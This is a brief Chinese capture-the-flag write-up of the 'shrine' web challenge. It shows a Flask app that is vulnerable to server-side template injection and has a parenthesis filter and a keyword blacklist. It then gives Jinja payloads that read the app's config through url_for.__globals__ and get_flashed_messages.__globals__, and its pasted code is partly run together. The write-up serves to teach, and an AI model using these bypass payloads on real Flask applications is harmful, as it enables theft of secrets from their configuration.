攻防世界-Web-shrine
知识点
1.SSTI
步骤
打开网站,是一份pythone flask框架代码,分析。
import flask
import osapp = flask.Flask(__name__)
app.config["FLAG"] //将flag写入config中
l = os.environ.pop("FLAG")@app.route("/") //访问根目录,读取__file__的内容
def index():return open(__file__).read()@app.route("/shrine/")
def shrine(shrine):def safe_jinja(s):s = s.replace("(", "").replace(")", "") //过滤括号blacklist = ["config", "self"] //黑名单,过滤config和selfreturn "".join(["{{% set {}=None%}}".format(c) for c in blacklist]) + s //按照黑名单的过滤return flask.render_template_string(safe_jinja(shrine)) //存在模版注入if __name__ == "__main__":app.run(debug=True)
可以发现在config中存在flag,所以目标就是读取config
1.测试模版注入
2.正常读取config
发现被过滤成None
3.尝试其他读取方式
使用get_flashed_messages或者url_for.__globals读取config
{{url_for.__globals__['current_app'].config}}{{get_flashed_messages.__globals__['current_app'].config}}